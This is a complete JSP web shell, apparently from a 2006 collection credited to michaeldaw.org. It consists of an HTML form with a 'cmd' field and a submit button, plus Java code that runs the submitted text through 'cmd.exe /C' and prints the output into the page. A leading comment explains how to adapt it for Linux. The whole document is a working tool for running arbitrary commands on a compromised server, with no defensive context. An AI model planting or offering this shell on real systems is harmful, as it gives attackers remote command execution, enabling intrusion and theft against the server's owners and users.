// note that linux = cmd and windows = "cmd.exe /c + cmd"
<INPUT name='cmd' type=text><INPUT type=submit value='Run'>
<%@ page import="java.io.*" %><% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s; } } catch(IOException e) { e.printStackTrace(); } }%><pre><%=output %></pre><!-- http://michaeldaw.org 2006 -->